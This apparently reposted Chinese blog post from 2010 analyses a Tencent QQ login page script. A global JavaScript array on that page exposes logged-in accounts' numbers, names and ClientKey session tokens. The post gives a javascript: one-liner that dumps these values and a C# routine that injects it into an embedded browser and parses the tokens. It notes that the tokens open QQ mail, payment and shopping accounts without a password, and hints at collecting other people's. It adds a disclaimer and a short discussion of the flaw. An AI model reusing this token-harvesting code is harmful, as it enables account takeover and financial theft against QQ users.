漏洞无处不在之窃取你的QQ信息

申明

 以下在文章中出现的内容皆从技术角度探讨问题,请勿使用下文所提到的技术从事非法行为!

                                                                           Thursday, July 01, 2010 


我的上一篇博客 《检测本地是否登录了指定QQ》 中介绍了通过QQ官方页面来获取已登陆QQ信息的方法,

通过对QQ页面中js文件的研究,我们可以更进一步的获取到更多信息!

下面我们就来一步一步分析下,

 

首先来看一下上次文章中提到的js中的一个关键函数:

ExpandedBlockStart.gif hummer_loaduin()
function  hummer_loaduin(){
    q_aUinList.length
= 0 ;
    
var  P = q_hummerQtrl.DoOperation( 1 ,g_vOptData);
    
if ( null == P)
    {  
return  }
    
try {
        
var  M = P.GetArray( " PTALIST " );
        
var  T = M.GetSize();
        
var  O = "" ;
        
var  F = document.getElementById( " list_uin " );
        
for ( var  U = 0 ;U < T;U ++ )
        {
            
var  C = M.GetData(U);
            
var  R = C.GetDWord( " dwSSO_Account_dwAccountUin " );
            
var  G = "" ;
            
var  J = C.GetByte( " cSSO_Account_cAccountType " );
            
var  S = R;
            
if (J == 1 )
            {
                
try {
                    G
= C.GetArray( " SSO_Account_AccountValueList " );
                    S
= G.GetStr( 0 )
                }
                
catch (Q)
                {}
            }
            
var  K = 0 ;
            
try {
                K
= C.GetWord( " wSSO_Account_wFaceIndex " )
            }
            
catch (Q)
            {K
= 0 }
            
var  L = "" ;
            
try {
                L
= C.GetStr( " strSSO_Account_strNickName " )
            }
            
catch (Q)
            {L
= "" }
            
var  D = C.GetBuf( " bufGTKey_PTLOGIN " );
            
var  E = C.GetBuf( " bufST_PTLOGIN " );
            
var  I = "" ;
            
var  A = E.GetSize();
            
for ( var  N = 0 ;N < A;N ++ )
            {
                
var  B = E.GetAt(N).toString( " 16 " );
                
if (B.length == 1 )
                {B
= " 0 " + B}
                I
+= B
            }
            
var  H = {uin:R,name:S,type:J,face:K,nick:L,key:I};
            q_aUinList[U]
= H
        }
        
switch (q_aUinList.length)
        {
            
case   0 :ptui_reportAttr( 77430 , false ); break ;
            
case   1 :ptui_reportAttr( 77431 , false ); break ;
            
default :ptui_reportAttr( 77432 , false )
        }
    }
    
catch (Q){}
}

 

我们注意函数中的这一句:var H={uin:R,name:S,type:J,face:K,nick:L,key:I}; 

 

为什么要注意这一句呢,我们假设现在不清楚它的COM 是通过哪些接口哪些命名来获取QQ信息的,

但一般来说看字面意思 uin即是QQ账号 name即是QQ用户名 key当然就是。。(呵呵,大家应该都知道了) 

 

 为什么要强调这句代码呢,不是为了来理解字面意思,而是先让大家认识下本文的主题“窃取你的QQ信息”

 下面先给大家介绍一个东西:

  ClientKey,

想必很多人都知道这个东西,也不乏有很多人在网上讨论如何获取这个东西,不知道的同学们现在就要注意啦,

ClientKey 是一个你QQ登陆成功后从服务器返回来的值,利用这个值可以使用你账号在QQ的所有应用(这里说的有点不大清楚,不过还是自己去查下吧), 

比如:通过ClientKey 我就可以登陆你的拍拍账号,甚至是财付通账号,通过ClientKey 我不需要你的QQ号密码就能登录你的QQ邮箱


 好了,废话不多说,我们接着分析,说到了ClientKey,那么聪明的同学都想到了 ClientKey就对应上面的var H.key,

var H的其他字段都不重要了,因为有了key的存在,

 好,继续看var H 这句代码的下面一句:q_aUinList[U]=H 

大家猜猜 q_aUinList 会是什么呢, (呵呵,猜个鸟啊猜)  往上看,var q_aUinList=new Array();

这下知道咯 ,原来 q_aUinList 是个数组对象哦,综合起来:

for(var U=0;U<T;U++)

{

 var H={uin:R,name:S,type:J,face:K,nick:L,key:I};

 q_aUinList[U]=H ;

很明显咯,q_aUinList数组对象存放了当前电脑所有登陆成功的QQ号的信息了,这还不是最关键(猜到最关键的是什么了麽?)!

 

最最最最关键的是, var q_aUinList  居然是一个全局变量,

这也是漏洞的所在了,在js文件中既然var q_aUinList是一个全局变量,那么,引用这个js的网页都可以访问这个var q_aUinList变量了,

恰恰我们的腾讯官方页面加载后首先就调用了上文说到的2个关键函数,也就是在调用过程中 var q_aUinList变量的值已经被赋好了,

 

而且 而且这玩意还允许我们访问,既然你允许,那我就毫不客气的来访问一下咯:

构造如下的javascript代码:

javascript:for(var C=0;C<q_aUinList.length;C++){var D=q_aUinList[C];document.write(D.uin+","+D.name+","+D.key+"\r");}

很简单的一句代码,大家试着在已打开的腾讯登陆页面地址栏输入这句代码试试:

不出意料, q_aUinList 被我们遍历了,q_aUinList值被我们读取了,高潮结束了,QQ信息就这样被我们窃取了,哎!

 

 不要急,猴急的同学要骂我了,你这取还不是只能取自己的,那要如何取别人的呢,关于这个我也就不多解释了,我想会写程序的哥们都应该知道吧!

 为了测试还是给出一段代码:

ExpandedBlockStart.gif GetLoginedCache()
  ///   <summary>
        
///  暴力
        
///   </summary>
        
///   <returns></returns>
        public  List < LoginedInfo >  GetLoginedCache()
       {
           
string  htmlText  =  browser.Document.Body.InnerText;
           List
< LoginedInfo >  qqlist  =   new  List < LoginedInfo > ();
           
string  jscript  =   " javascript:for(var C=0;C<q_aUinList.length;C++){var D=q_aUinList[C];document.write(D.uin+\ " ,\ " +D.name+\ " ,\ " +D.key+\ " $\ " );}void(0); " ;
           browser.Navigate(jscript);
           
string  readText  =  browser.Document.Body.InnerText;
           
while  (readText == htmlText)
           {
               readText 
=  browser.Document.Body.InnerText;
               Application.DoEvents();
           }
           
string [] sArry  =  Regex.Split(readText,  " $ " );
           
for  ( int  i  =   0 ; i  <  sArry.Length;i ++ )
           {
               
if  (sArry[i]  !=   ""   &&  sArry[i].Contains( " , " ))
               {
                   
string [] infos  =  Regex.Split(sArry[i],  " , " );
                   
if (infos.Length == 3 )
                   {
                       qqlist.Add(
new  LoginedInfo(infos[ 0 ],infos[ 1 ],infos[ 2 ]));
                   }
               }
           }
           
return  qqlist;
       }
       
// var H={uin:R,name:S,type:J,face:K,nick:L,key:I};
        public   class  LoginedInfo
       {
           
public  LoginedInfo( string  uin , string  name, string  key)
           {
               
this .Uin  =  uin;
               
this .Name  =  name;
               
this .Key  =  key;
           }
           
public   string  Uin{ get ; set ;}
           
public   string  Name{ get ; set ;}
           
public   string  Key{ get ; set ;}
       }

 

 

到此为止,文章也快结束了,我们来谈谈这到底算不算漏洞,为什么会发生这样的漏洞!

首先,我个人认为这是一个漏洞,而且我个人还认为一个页面的小瑕疵都可以说是漏洞,更何况此!

其实,漏洞产生的原因, 很明显因为q_aUinList出了安全问题, 我个人不懂js也不会写js,不知道js里有没有private,public约束,

至少在我们的c#程序里,如果q_aUinList保存的是一个关键信息,它肯定不应该是public的,

 

通过本次分析,其实我们可以看到js虽然好用,但并不一定安全,就算没有了q_aUinList变量保存QQ信息,只要页面能获取,那就有可能被非法用户获取!

好了,说了这么多该结束了,文章只是自己在前一篇文章中分析xue.js是发现现在又补充的一篇文章,希望大家不要用来做坏事!

 

ps:也希望我们的网络是安全的 

 

转载于:https://www.cnblogs.com/cxwx/archive/2010/07/01/1769153.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值